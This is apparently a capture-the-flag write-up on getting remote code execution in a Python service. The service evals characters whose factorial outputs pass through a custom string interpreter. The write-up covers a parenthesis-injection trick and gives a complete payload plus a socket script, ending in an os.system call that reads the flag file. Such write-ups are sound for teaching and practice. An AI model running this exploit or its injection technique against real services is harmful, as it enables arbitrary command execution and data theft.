---
# System prepended metadata

title: reto1_deploy.zip

---

# reto1_deploy.zip

Remote port running server.py given the source code.

It takes two inputs from user:
* star
* track

```python
def main():
    pre = {0 : 1}
    t = 1
    for i in xrange(1, 256):
        t *= i
        pre[i] = t

    try:
        star = raw_input("Star?\n")
        track = raw_input("Track?\n")
        code = ""

        for i in track.strip().split():
            i = int(i)
            if not i in pre:
                return 1

            proc = Processor()
            proc.initialize(star + "#(ps,#(cl,Engage,%d))" % i)
            proc.run()

            o = int(proc.output)

            if pre[i] != o:
                return 2

            code += chr(i)
        #print "code = %r" % code
        eval(code)
    except Exception as e:
        print e
        pass
```

`track` has to be a list of integers separated by spaces
`star` is a string added at the start of the code given to `Processor()`

`Processor()` its a string interpreter class that parses and executes a string as a custom programming language.
`Processor().initialize(self, program="")` initialize the class with the string to be parsed
`Processor().run()` interprets the string and execute it.
`Processor().output` a string output of the interpreted program.

## Goal
The goal its to create a program using the `star` variable that outputs the factorial of every integer passed to `track` so the checks don't fail and that integer is added as a char to the `code` var that gets executed with `eval(code)`.

The problem is that there is a hardcoded program we can't modify and we can only add more code at the start.

And every integer of `track` gets formated into that hardcoded final part so we can't know what is the current integer to produce the correct output with out `star` program. (and the `star` code remains the same for every integer of `track`).

## Solution

Hardcoded part: `"#(ps,#(cl,Engage,%d))"`

`Processor()` parses the string char by char from left to right and will execute functions when it founds an `)` after it has found a `#(` and the return value gets overwritten there and gets parsed as well.

So if we can inject special chars like `#(,)` in the `Engage` var we can inject code in the hardcoded part so we get the info of the current integer and we can give the correct output.

We can't just do:
`#(ds,Engage,#(mul,2,2))`
Because it would put the return value into Engage instead of the literal function.

We can use the `ss` function to inject whatever byte we want

```python
def ss(self, args):
        try:
            form_key = args.pop(0)
            form = self.forms[form_key]
            form_marked = form
            for i in range(len(args)):
                arg = args[i]
                marker = "%s%s" % (SEGMENT_GAP, chr(i))
                form_marked = form_marked.replace(arg, marker)
            self.forms[form_key] = form_marked
            form_list = []
            form_list += form_marked
            #print "ss: %s" % (form_list)
            return ""
        except:
            return ""
```
As will replace the argument with `\xff\x(arg_number)`

`"#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)"`

So this will replace the a's with a 0x28 byte that its a `)`, by injecting closing parenthesis it allows the following payload:

`"#(ds,1\xff,1)#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl,"`

The injected parentheses closes the `ps` function and the `track` integer its passed to our function `cl` so we can hardcode a variable for every number with his factorial with `ds`.


This input in `star` produces the correct output for any number in `track`
```
#(ds,1�,1)#(ds,2�,2)#(ds,3�,6)#(ds,4�,24)#(ds,5�,120)#(ds,6�,720)#(ds,7�,5040)(...)(ds,Engage,aba)#(ss,Engage,b, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,a)#(ps,#(cl,
```


```python
import socket


def rce(command):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(("18.168.149.140",1337))
	pre = {0 : 1}
	t = 1
	hardcode_list = b""
	for i in range(1, 256):
		t *= i
		hardcode_list += "#(ds,%d\xff,%d)" % (i, t)
		pre[i] = t

	track = " ".join([str(ord(i)) for i in command])
	payload = hardcode_list + "#(ds,Engage,aba)#(ss,Engage,b,"+" ,"*0x28+"a)#(ps,#(cl,"

	print(s.recv(1024))
	s.send(payload+"\n")
	print(s.recv(1024))
	s.send(track+"\n")
	print(s.recv(1024))
	

rce("__import__('os').system('cat flag.txt')")
```

Flag: `flag{star_trac_to_rail_fact}`

